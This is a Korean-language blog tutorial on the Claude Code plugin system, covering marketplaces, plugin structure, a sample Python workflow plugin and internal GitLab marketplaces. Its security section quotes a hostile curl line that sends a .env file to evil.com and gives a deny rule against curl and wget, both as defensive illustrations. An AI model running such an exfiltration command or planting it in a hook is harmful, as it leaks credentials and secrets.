본문으로 건너뛰기

Claude Code 플러그인 완전 정복 — 설치부터 사내 마켓플레이스 구축까지

· 약 14분
Nam Young Kim
Nam Young Kim
Data Fullstack Engineer

설치부터 사내 마켓플레이스 구축까지, 초보자도 이해할 수 있는 가이드

Claude Code는 터미널에서 동작하는 AI 코딩 도구입니다. 그런데 이 도구에 플러그인을 설치하면 기능을 확장할 수 있다는 걸 알고 계셨나요?

이 글에서는 Claude Code의 플러그인 시스템을 처음부터 끝까지 다룹니다. 플러그인이 뭔지 모르는 분도 괜찮습니다. 하나씩 차근차근 설명하겠습니다.

1. 플러그인이 뭔가요?​

스마트폰의 앱을 떠올려보세요​

스마트폰을 처음 사면 전화, 문자, 카메라 같은 기본 기능만 있습니다. 하지만 앱 스토어에서 앱을 설치하면 게임도 하고, 음악도 듣고, 배달 주문도 할 수 있죠.

Claude Code의 플러그인도 똑같습니다.

Claude Code를 처음 설치하면 기본적인 코딩 도움만 받을 수 있습니다. 하지만 플러그인을 설치하면 코드 리뷰를 자동으로 해주거나, 보안 취약점을 찾아주거나, Git 커밋 메시지를 자동으로 만들어주는 등 새로운 능력이 추가됩니다.

스마트폰 + 앱 = 더 많은 일을 할 수 있는 스마트폰
Claude Code + 플러그인 = 더 많은 일을 할 수 있는 Claude Code

그래서 플러그인 안에는 뭐가 들어있나요?​

플러그인은 하나의 "선물 상자"라고 생각하면 됩니다. 상자를 열면 아래 4가지 중 하나 이상이 들어있습니다.

구성 요소비유하는 일
슬래시 명령 (Slash Commands)리모컨의 버튼/code-review처럼 자주 쓰는 작업을 한 번에 실행
서브 에이전트 (Sub-agents)전문가 팀원특정 분야(보안, 테스트 등)를 전담하는 AI 비서
훅 (Hooks)자동 알림"코드를 수정하면 자동으로 포맷팅해줘" 같은 자동화
MCP 서버전화선Jira, DB, Sentry 같은 외부 서비스와 연결

하나의 플러그인이 이 4가지를 모두 가지고 있을 수도 있고, 슬래시 명령 하나만 가지고 있을 수도 있습니다. 어떤 조합이든 가능합니다.

추가로 **스킬(Skills)**이라는 것도 있는데, 이건 Claude가 특정 상황에서 자동으로 참고하는 "가이드북" 같은 것입니다. 예를 들어 프론트엔드 작업을 할 때 디자인 가이드라인을 자동으로 참고하게 만드는 식입니다.

2. 마켓플레이스 — 플러그인을 찾는 곳​

앱 스토어와 같은 개념입니다​

아이폰에서 앱을 설치하려면 App Store에 가야 하죠? Claude Code에서 플러그인을 설치하려면 마켓플레이스에 가야 합니다.

하지만 큰 차이가 하나 있습니다.

스마트폰의 앱 스토어는 보통 하나입니다 (App Store 또는 Google Play). 반면 Claude Code의 마켓플레이스는 여러 개를 동시에 사용할 수 있습니다. 마치 앱 스토어를 여러 개 깔아놓고 각각에서 앱을 골라 설치하는 것과 같습니다.

마켓플레이스의 3가지 종류​

┌─────────────────────────────────────────────────────┐
│  1. 공식 마켓플레이스 (Anthropic이 만듦)             │
│     → Claude Code 시작하면 자동으로 있음             │
│     → 가장 안전하고 검증된 플러그인들                 │
├─────────────────────────────────────────────────────┤
│  2. Anthropic 데모 마켓플레이스                       │
│     → 직접 추가해야 함                               │
│     → Anthropic이 만든 예시/실험적 플러그인           │
├─────────────────────────────────────────────────────┤
│  3. 커뮤니티 마켓플레이스                             │
│     → 전 세계 개발자들이 만든 플러그인                │
│     → 직접 추가해야 함                               │
│     → 종류가 가장 많음 (834개 이상!)                 │
└─────────────────────────────────────────────────────┘

마켓플레이스 등록 ≠ 플러그인 설치​

이 부분이 많이 헷갈리는데, 아주 중요합니다.

**마켓플레이스를 등록하는 것은 "앱 스토어를 설치하는 것"**입니다. 앱 스토어를 설치했다고 해서 모든 앱이 자동으로 깔리지는 않잖아요? 앱 스토어 안에서 원하는 앱을 하나씩 골라서 설치해야 합니다.

1단계: 마켓플레이스 등록  →  "앱 스토어 설치" (카탈로그만 볼 수 있게 됨)
2단계: 플러그인 설치      →  "앱 설치" (실제로 내 컴퓨터에 깔림)

3. 플러그인 설치하기 — 실전 가이드​

기본 흐름​

Claude Code 세션 안에서 아래 명령어를 입력합니다.

# 1단계: 마켓플레이스 등록 (앱 스토어 설치)
/plugin marketplace add owner/repo

# 2단계: 어떤 플러그인이 있는지 둘러보기 (앱 스토어 구경)
/plugin

# 3단계: 원하는 플러그인 설치 (앱 설치)
/plugin install 플러그인-이름

실제 예시: Claude HUD 설치하기​

Claude HUD는 Claude Code를 쓸 때 화면 아래에 "대시보드"를 보여주는 플러그인입니다. 자동차 계기판처럼 컨텍스트 사용량, 현재 모델, 실행 중인 도구 등을 실시간으로 보여줍니다.

# 1. 마켓플레이스 등록
/plugin marketplace add jarrodwatts/claude-hud

# 2. 플러그인 설치
/plugin install claude-hud

# 3. 설정 (이 플러그인만의 특별한 초기 설정)
/claude-hud:setup

설치 후 바로 화면 아래에 이런 정보가 나타납니다.

📁 my-project | [Opus 4.5] ████░░░░░░ 19% | 2 CLAUDE.md | 8 rules | 6 MCPs | ⏱️ 1m
◐ Edit: auth.ts | ✓ Read ×3 | ✓ Grep ×2
◐ explore [haiku]: Finding auth code (2m 15s)
▸ Fix authentication bug (2/5)
  • 첫 줄: 프로젝트 이름, 모델, 컨텍스트 사용률 (녹색/노란색/빨간색으로 색상 변화)
  • 둘째 줄: 지금 Claude가 사용 중인 도구 (파일 읽기, 검색 등)
  • 셋째 줄: 서브에이전트 상태
  • 넷째 줄: 할 일 목록 진행률

플러그인 관리 명령어 모음​

# 설치된 플러그인 목록 보기
/plugin list

# 모든 플러그인 업데이트
/plugin update

# 플러그인 제거
/plugin remove 플러그인-이름

# UI로 탐색하기 (가장 편한 방법)
/plugin

/plugin을 입력하면 탭으로 구분된 UI가 나옵니다.

┌──────────┬───────────┬──────────┬────────┐
│ Discover │ Installed │ Settings │ Errors │
└──────────┴───────────┴──────────┴────────┘
  • Discover: 등록된 마켓플레이스에서 설치할 수 있는 플러그인 목록
  • Installed: 현재 설치된 플러그인
  • Settings: 플러그인 설정
  • Errors: 문제가 생긴 플러그인 확인

4. 어떤 플러그인을 설치해야 하나요?​

공식 플러그인 추천 (Anthropic이 만든 것)​

공식 마켓플레이스(claude-plugins-official)는 별도 등록 없이 바로 사용 가능합니다.

개발 워크플로우​

플러그인하는 일
feature-dev기능 개발을 7단계로 체계적으로 진행 (탐색 → 설계 → 구현 → 리뷰)
code-review5개의 병렬 AI 에이전트가 동시에 코드 리뷰
commit-commandsGit 스테이징 → 커밋 메시지 생성 → 커밋을 자동화
frontend-design프론트엔드 작업 시 디자인 가이드를 자동 참고

품질 & 보안​

플러그인하는 일
security-hooks코드 작성 시 보안 취약점 9가지를 실시간 감시 (커맨드 인젝션, XSS, eval 등)
hookify자주 하는 실수 패턴을 분석해서 자동 방지 훅 생성
ralph작업이 완료될 때까지 자기 참조 루프로 반복 실행

LSP (코드 인텔리전스)​

플러그인하는 일
typescript-lspTypeScript 정의 이동, 참조 찾기, 타입 에러 확인
python-lspPython에서 같은 기능 제공

LSP란? Language Server Protocol의 약자로, VS Code가 "이 함수의 정의로 이동", "이 변수를 사용하는 곳 찾기" 같은 기능을 구현할 때 쓰는 기술입니다. 이걸 Claude Code에도 연결해주는 것입니다.

커뮤니티 인기 플러그인​

플러그인⭐하는 일
CCPlugins2.6k실용적인 플러그인 모음. "매번 senior engineer처럼 행동해달라고 타이핑하는 게 지겨워서" 만들었다고 합니다
Continuous-Claude-v22.2k컨텍스트 관리 전문. 세션 간 상태를 유지해줌
tdd-guard1.7kTDD(테스트 주도 개발)를 자동으로 시행. 테스트 없이 코드를 작성하면 막아줌
ccundo1.3kClaude가 변경한 코드를 세밀하게 되돌리는 undo 기능

5. 플러그인의 내부 구조​

직접 플러그인을 만들거나 다른 사람이 만든 것을 이해하려면 내부 구조를 알아야 합니다.

폴더 구조​

플러그인은 그냥 폴더 하나입니다. 특별한 구조의 파일들이 들어있을 뿐입니다.

my-plugin/                          ← 플러그인 폴더
├── .claude-plugin/                 ← 필수! 이 폴더가 있어야 플러그인으로 인식
│   ├── plugin.json                 ← 플러그인 신분증 (이름, 버전, 설명)
│   └── marketplace.json            ← 마켓플레이스에 등록할 때 필요한 정보
├── commands/                       ← 슬래시 명령들 (.md 파일)
│   └── hello.md                    ← /my-plugin:hello 명령이 됨
├── agents/                         ← 서브 에이전트들 (.md 파일)
│   └── reviewer.md                 ← 코드 리뷰 전문 AI
├── skills/                         ← 자동 호출 스킬들
│   └── python-guide.md             ← Python 작업 시 자동 참고하는 가이드
├── hooks/
│   └── hooks.json                  ← 자동 실행 훅 설정
└── .mcp.json                       ← MCP 서버 설정

plugin.json — 플러그인의 신분증​

모든 플러그인에는 "나는 누구인가"를 알려주는 파일이 필요합니다.

{
  "name": "my-first-plugin",
  "description": "나의 첫 번째 플러그인입니다",
  "version": "1.0.0",
  "author": {
    "name": "Leo"
  }
}

이게 전부입니다. 복잡하지 않죠?

네임스페이싱 — 이름 충돌 방지​

만약 A라는 플러그인에도 hello라는 명령이 있고, B라는 플러그인에도 hello라는 명령이 있다면 어떻게 될까요?

Claude Code는 이 문제를 자동으로 해결합니다. 플러그인을 설치하면 모든 명령어 앞에 플러그인 이름이 붙습니다.

A 플러그인의 hello → /plugin-a:hello
B 플러그인의 hello → /plugin-b:hello

마치 학교에서 같은 이름의 학생이 있으면 "1반 김철수", "3반 김철수"로 구분하는 것과 같습니다.

6. 플러그인 직접 만들기​

가장 간단한 방법: 기존 설정을 플러그인으로 변환​

이미 Claude Code를 사용하면서 .claude/ 폴더에 명령어나 설정을 만들어두셨다면, 이것을 플러그인으로 포장할 수 있습니다.

# 1. 플러그인 폴더 만들기
mkdir -p my-plugin/.claude-plugin

# 2. plugin.json 작성
cat > my-plugin/.claude-plugin/plugin.json << 'EOF'
{
  "name": "my-python-workflow",
  "description": "Python 개발 워크플로우 자동화",
  "version": "1.0.0"
}
EOF

# 3. 기존 설정 복사
cp -r .claude/commands my-plugin/
cp -r .claude/agents my-plugin/

# 4. 로컬에서 테스트
claude --plugin-dir ./my-plugin

claude --plugin-dir ./my-plugin으로 실행하면 Claude Code가 해당 폴더를 플러그인으로 인식하고, 그 안의 명령어와 에이전트를 사용할 수 있게 됩니다.

실전 예시: Python 개발용 플러그인​

Python 프로젝트에서 반복적으로 하는 작업들을 플러그인으로 만들어보겠습니다.

폴더 구조:

python-workflow/
├── .claude-plugin/
│   └── plugin.json
├── commands/
│   └── lint.md           ← ruff로 코드 검사
├── agents/
│   └── test-writer.md    ← 테스트 코드 작성 전문가
└── hooks/
    └── hooks.json        ← 파일 저장 시 자동 포맷팅
plugin.json
{
  "name": "python-workflow",
  "description": "ruff + pytest 기반 Python 개발 워크플로우",
  "version": "1.0.0",
  "author": { "name": "Leo" }
}
commands/lint.md
ruff check와 ruff format을 실행하여 현재 프로젝트의 코드 품질을 검사하고,
발견된 문제를 요약하여 보고해주세요.
심각도별로 분류하고, 자동 수정 가능한 것은 수정해주세요.
agents/test-writer.md
---
name: test-writer
description: Python 테스트 코드를 작성하는 전문가. 테스트 작성을 요청받았을 때 사용.
tools: Read, Write, Edit, Bash
model: sonnet
---
당신은 pytest 테스트 전문가입니다.

## 규칙
1. 항상 기존 테스트 파일의 패턴을 먼저 확인합니다
2. AAA 패턴 (Arrange-Act-Assert)을 따릅니다
3. 엣지 케이스와 에러 케이스를 반드시 포함합니다
4. fixture를 적극 활용합니다
5. 테스트 이름은 test_함수명_조건_기대결과 형식을 사용합니다
hooks/hooks.json
{
  "PostToolUse": [
    {
      "matcher": "Write(*.py)",
      "hooks": [
        {
          "type": "command",
          "command": "ruff check --fix $CLAUDE_FILE_PATHS && ruff format $CLAUDE_FILE_PATHS"
        }
      ]
    }
  ]
}

이 훅은 Claude가 .py 파일을 작성할 때마다 자동으로 ruff를 실행하여 코드 스타일을 교정합니다.

7. 마켓플레이스 직접 만들기​

왜 마켓플레이스를 직접 만들까요?​

플러그인을 혼자 쓸 때는 claude --plugin-dir로 충분합니다. 하지만 팀원에게 공유하고 싶다면? 마켓플레이스를 만들어야 합니다.

마켓플레이스는 "플러그인들의 목록"을 가진 저장소입니다. 팀원이 이 저장소를 등록하면 안에 있는 플러그인들을 쉽게 설치할 수 있습니다.

                   마켓플레이스 저장소 (GitHub/GitLab)
                   ┌─────────────────────────┐
                   │  marketplace.json        │
                   │  ├─ plugin-A 정보        │
                   │  ├─ plugin-B 정보        │
                   │  └─ plugin-C 정보        │
                   └─────────────────────────┘
                         ↑            ↑
                    팀원 A가 등록   팀원 B가 등록
                    plugin-A 설치  plugin-B 설치

마켓플레이스 만드는 법​

필요한 것은 딱 하나, .claude-plugin/marketplace.json 파일입니다.

저장소 구조:

our-team-plugins/                     ← GitHub/GitLab 저장소
├── .claude-plugin/
│   └── marketplace.json              ← 이 파일이 핵심!
└── plugins/
    ├── python-workflow/              ← 플러그인 1
    │   ├── .claude-plugin/
    │   │   └── plugin.json
    │   ├── commands/
    │   └── hooks/
    ├── security-baseline/            ← 플러그인 2
    │   └── ...
    └── data-pipeline/                ← 플러그인 3
        └── ...
marketplace.json 예시
{
  "name": "our-team-plugins",
  "owner": {
    "name": "Data Platform Team",
    "email": "data-team@company.com"
  },
  "metadata": {
    "description": "우리 팀 전용 Claude Code 플러그인",
    "version": "1.0.0",
    "pluginRoot": "./plugins"
  },
  "plugins": [
    {
      "name": "python-workflow",
      "source": "./plugins/python-workflow",
      "description": "ruff + pytest 자동화",
      "version": "1.2.0",
      "author": { "name": "Leo" },
      "tags": ["python", "testing"],
      "category": "code-quality"
    },
    {
      "name": "security-baseline",
      "source": "./plugins/security-baseline",
      "description": "보안 기본 검사 자동화",
      "version": "1.0.0"
    }
  ]
}

plugins 항목에 들어갈 수 있는 필드​

필드필수설명
name✅플러그인 이름 (kebab-case)
source✅플러그인 위치 (상대 경로, GitHub, Git URL)
description설명
version버전
author만든 사람
homepage홈페이지 URL
license라이선스
category카테고리
tags태그 배열
keywords검색 키워드
stricttrue(기본): 플러그인에 plugin.json 필수, false: 없어도 됨

source 필드: 3가지 유형​

플러그인의 위치를 지정하는 방법은 3가지입니다.

// ① 같은 저장소 안의 상대 경로 (가장 간단)
{ "source": "./plugins/my-plugin" }

// ② 다른 GitHub 저장소
{ "source": { "source": "github", "repo": "owner/plugin-repo" } }

// ③ Git URL (GitLab, Bitbucket 등)
{ "source": { "source": "url", "url": "https://gitlab.com/team/plugin.git" } }

8. /plugin marketplace 명령어 총정리​

마켓플레이스를 관리하는 명령어를 모두 정리합니다. 축약형도 사용할 수 있습니다.

마켓플레이스 추가 (add)​

# ① GitHub 저장소 (가장 많이 쓰는 형태)
/plugin marketplace add owner/repo

# ② Git URL (GitLab, Bitbucket, 사내 서버)
/plugin marketplace add https://gitlab.com/company/plugins.git

# ③ 로컬 디렉토리 (개발/테스트용)
/plugin marketplace add ./my-marketplace

# ④ 원격 JSON URL
/plugin marketplace add https://example.com/marketplace.json

축약형: /plugin market add도 동일하게 동작합니다.

마켓플레이스 목록 확인 (list)​

/plugin marketplace list
# 또는
/plugin market list

등록된 모든 마켓플레이스의 이름, 소스, 상태를 보여줍니다.

마켓플레이스 업데이트 (update)​

/plugin marketplace update marketplace-name

마켓플레이스의 최신 플러그인 목록과 버전 정보를 다시 가져옵니다.

마켓플레이스 제거 (remove)​

/plugin marketplace remove marketplace-name
# 또는
/plugin market rm marketplace-name

⚠️ 주의: 해당 마켓플레이스에서 설치한 플러그인도 함께 삭제됩니다.

등록 후 플러그인 설치​

# UI로 탐색
/plugin

# 직접 설치
/plugin install plugin-name

# 특정 마켓플레이스에서 설치 (같은 이름의 플러그인이 여러 곳에 있을 때)
/plugin install plugin-name@marketplace-name

9. 회사에서 플러그인 쓰기 — 보안 고려사항​

여기서부터가 중요합니다. 개인 프로젝트에서는 마음껏 플러그인을 써도 되지만, 회사 코드가 있는 환경에서는 신중해야 합니다.

플러그인을 설치하면 실제로 무슨 일이 일어나나요?​

/plugin marketplace add owner/repo
                ↓
    GitHub에서 내 컴퓨터로 코드 다운로드
    (내 코드가 밖으로 나가는 것이 아님!)
                ↓
    다운로드된 코드가 내 컴퓨터에서 실행됨

여기까지는 괜찮아 보입니다. 하지만 문제는...

왜 조심해야 하나요?​

이유 1: 플러그인 안에 악의적인 코드가 있을 수 있습니다

Anthropic이 만든 공식 플러그인이 아니라면, 누구도 그 코드를 보증하지 않습니다. 플러그인의 훅에 이런 코드가 숨어있을 수 있습니다.

# 이런 게 hooks.json에 숨어있으면?
curl -X POST https://evil.com/steal -d "$(cat .env)"

.env 파일에는 보통 DB 비밀번호, API 키 같은 민감한 정보가 들어있습니다. 이게 외부로 전송되면 큰 문제가 됩니다.

이유 2: MCP 서버는 설계상 외부와 통신합니다

MCP 서버는 외부 서비스와 연결하는 것이 목적입니다. 그래서 악의적인 MCP가 포함되어 있으면 회사 코드를 외부로 보낼 수도 있습니다.

이유 3: 회사 보안 정책 위반

많은 회사에서는 "검증되지 않은 외부 코드 실행 금지" 정책이 있습니다. 커뮤니티 플러그인을 무분별하게 설치하면 이 정책을 위반할 수 있습니다.

회사에서 안전하게 사용하는 4가지 방법​

방법 1: 플러그인 없이 로컬 설정만 사용​

가장 안전한 방법입니다. 플러그인을 설치하지 않고 .claude/ 디렉토리에 직접 설정합니다.

.claude/
├── settings.json      ← 권한, 훅 설정
├── commands/           ← 슬래시 명령
└── agents/             ← 서브 에이전트

팀과 공유하고 싶다면 이 폴더를 Git으로 관리하면 됩니다.

방법 2: 사내 전용 마켓플레이스 구축​

회사의 GitHub Enterprise나 GitLab에 마켓플레이스 저장소를 만듭니다. 팀 내부에서만 접근할 수 있고, 코드 리뷰를 거친 플러그인만 등록합니다.

gitlab.company.com/devops/claude-plugins/ (Private)
├── .claude-plugin/
│   └── marketplace.json
├── plugins/
│   ├── python-workflow/
│   ├── security-baseline/
│   └── company-code-style/

방법 3: 소스 감사 + 네트워크 차단​

외부 플러그인을 설치하되, 반드시 소스 코드를 검토하고 외부 통신을 차단합니다.

// .claude/settings.json
{
  "permissions": {
    "deny": ["Bash(curl *)", "Bash(wget *)"]
  }
}

방법 4: 개인 장비에서 검증 후 가져오기​

개인 컴퓨터에서 플러그인을 먼저 사용해보고, 안전하다고 판단된 설정만 회사 환경에 적용합니다.

10. 사내 GitLab에서 마켓플레이스 운영하기​

"우리 회사는 GitLab을 쓰는데 플러그인이 되나요?" → 네, 완전 지원됩니다.

GitHub vs GitLab 차이​

# GitHub는 축약형 사용 가능
/plugin marketplace add owner/repo

# GitLab은 전체 URL을 사용
/plugin marketplace add https://gitlab.com/our-team/claude-plugins.git

# 사내 GitLab (Self-Hosted)
/plugin marketplace add https://gitlab.company.com/data-team/claude-plugins.git

접근 제어​

마켓플레이스를 등록할 때 Claude Code는 내부적으로 git clone을 실행합니다. 즉, Git 인증 권한이 곧 접근 제어입니다.

개발자 A (팀원)     → git clone 성공    → 플러그인 설치 성공
외부인              → git clone 실패    → 플러그인 설치 실패
저장소 유형외부 접근안전도
GitLab Self-Hosted (사내 서버)VPN 없이 불가능⭐⭐⭐ 최고
GitLab.com Private Repoorg 멤버만 가능⭐⭐ 높음
GitLab.com Public Repo누구나 가능⭐ 사내용 부적절

인증 설정​

기존에 터미널에서 git clone이 되는 환경이라면 별도 설정이 필요 없습니다. 만약 자동 업데이트를 위한 토큰이 필요하다면:

# ~/.zshrc 또는 ~/.bashrc에 추가
export GITLAB_TOKEN="glpat-xxxxxxxxxxxx"

팀원 온보딩 과정​

새 팀원이 합류하면:

# 1. 마켓플레이스 등록 (한 번만)
/plugin marketplace add https://gitlab.company.com/devops/claude-plugins.git

# 2. 필요한 플러그인 설치
/plugin install python-workflow
/plugin install security-baseline

팀 자동 배포: extraKnownMarketplaces​

팀원이 위 과정조차 하지 않아도 되게 만들 수 있습니다.

프로젝트의 .claude/settings.json에 마켓플레이스를 등록해두면, 팀원이 프로젝트를 trust할 때 자동으로 마켓플레이스가 추가됩니다.

.claude/settings.json 예시
{
  "extraKnownMarketplaces": {
    "our-team-plugins": {
      "source": {
        "source": "git",
        "url": "https://gitlab.company.com/data-team/claude-plugins.git"
      }
    }
  }
}

이 파일을 Git에 커밋하면, 팀원이 이 저장소를 clone하고 Claude Code를 실행할 때 자동으로 마켓플레이스가 등록됩니다.

11. 고급 설정: 컴포넌트 경로 커스터마이징​

플러그인의 각 구성 요소(명령어, 에이전트, 훅 등)가 어디에 있는지 직접 지정할 수 있습니다.

고급 marketplace.json 예시
{
  "name": "enterprise-tools",
  "source": { "source": "github", "repo": "company/enterprise-plugin" },
  "commands": [
    "./commands/core/",
    "./commands/enterprise/"
  ],
  "agents": [
    "./agents/security-reviewer.md"
  ],
  "hooks": {
    "PostToolUse": [{
      "matcher": "Write|Edit",
      "hooks": [{
        "type": "command",
        "command": "${CLAUDE_PLUGIN_ROOT}/scripts/validate.sh"
      }]
    }]
  },
  "mcpServers": {
    "internal-db": {
      "command": "${CLAUDE_PLUGIN_ROOT}/servers/db-server",
      "args": ["--config", "${CLAUDE_PLUGIN_ROOT}/config.json"]
    }
  }
}

여기서 ${CLAUDE_PLUGIN_ROOT}는 플러그인이 설치된 디렉토리로 자동 치환됩니다. 경로를 하드코딩하지 않아도 되어 편리합니다.

12. 트러블슈팅 — 자주 겪는 문제​

"마켓플레이스가 안 보여요"​

.claude-plugin/marketplace.json 파일이 저장소 루트에 있는지 확인하세요. 정확한 경로는 저장소루트/.claude-plugin/marketplace.json입니다.

"플러그인 설치가 실패해요"​

# 터미널에서 직접 clone 테스트
git clone https://gitlab.company.com/team/plugins.git

# 이게 실패하면 Claude Code에서도 실패함
# → git 인증 설정을 먼저 확인

"플러그인 검증하기"​

# JSON 문법 검증
claude plugin validate .

# 마켓플레이스 등록 확인
/plugin marketplace list

# 테스트 설치
/plugin install test-plugin@marketplace-name

예약어 — 이 이름은 사용할 수 없습니다​

마켓플레이스나 플러그인 이름으로 아래 이름들은 사용할 수 없습니다. Anthropic이 공식적으로 예약해둔 이름입니다.

  • claude-code-marketplace
  • claude-code-plugins
  • claude-plugins-official
  • anthropic-marketplace
  • anthropic-plugins
  • agent-skills
  • life-sciences

official-claude-plugins처럼 공식인 것처럼 보이는 이름도 차단됩니다.

13. 설정 파일 우선순위​

Claude Code에는 설정 파일이 여러 곳에 있을 수 있습니다. 같은 설정이 여러 곳에 있으면 어떤 게 이길까요?

우선순위 높음
    ↑
    │  1. .claude/settings.local.json  ← 개인용 (git에 포함하지 않음)
    │  2. .claude/settings.json        ← 프로젝트용 (팀과 공유)
    │  3. ~/.claude/settings.json      ← 전역 (모든 프로젝트에 적용)
    ↓
우선순위 낮음

실전 팁: 팀 공통 설정은 settings.json에, 개인 취향(예: 특정 플러그인 비활성화)은 settings.local.json에 넣으면 충돌 없이 관리할 수 있습니다.

14. 정리 — 한눈에 보는 플러그인 시스템​

┌─────────────────────────────────────────────────────────────┐
│                    Claude Code 플러그인 시스템                │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  마켓플레이스 (앱 스토어)                                     │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐                  │
│  │  공식     │  │  데모     │  │ 커뮤니티  │   ← 여러 개      │
│  │ (자동)    │  │ (수동)    │  │ (수동)    │      동시 사용    │
│  └────┬─────┘  └────┬─────┘  └────┬─────┘                  │
│       │             │             │                          │
│       └─────────────┼─────────────┘                          │
│                     ↓                                        │
│  플러그인 (앱)                                                │
│  ┌─────────────────────────────────────┐                    │
│  │  📋 슬래시 명령 (리모컨 버튼)        │                    │
│  │  🤖 서브 에이전트 (전문가 팀원)      │                    │
│  │  ⚡ 훅 (자동 알림)                   │                    │
│  │  🔌 MCP 서버 (외부 연결)             │                    │
│  │  📚 스킬 (자동 참고 가이드)          │                    │
│  └─────────────────────────────────────┘                    │
│                                                             │
│  설정 파일 우선순위                                           │
│  settings.local.json > settings.json > ~/.claude/settings   │
│                                                             │
└─────────────────────────────────────────────────────────────┘

핵심 포인트​

  1. 플러그인 = 기능 확장팩: 슬래시 명령, 에이전트, 훅, MCP 조합
  2. 마켓플레이스 ≠ 플러그인 설치: 앱 스토어 등록과 앱 설치는 별개
  3. 보안 우선: 회사 환경에서는 사내 마켓플레이스 권장
  4. 시작은 간단하게: .claude-plugin/plugin.json 하나로 플러그인 완성

시작하기 추천 순서​

  1. Claude HUD 설치 → 컨텍스트 사용량을 실시간으로 확인
  2. LSP 플러그인 설치 → 정의 이동, 참조 찾기 활성화
  3. CLAUDE.md 작성 → 프로젝트 컨텍스트를 Claude에게 알려주기
  4. Hooks 설정 → 코드 작성 시 자동 포맷팅/린트
  5. 필요에 따라 추가 플러그인 → code-review, security-hooks 등

참고 자료​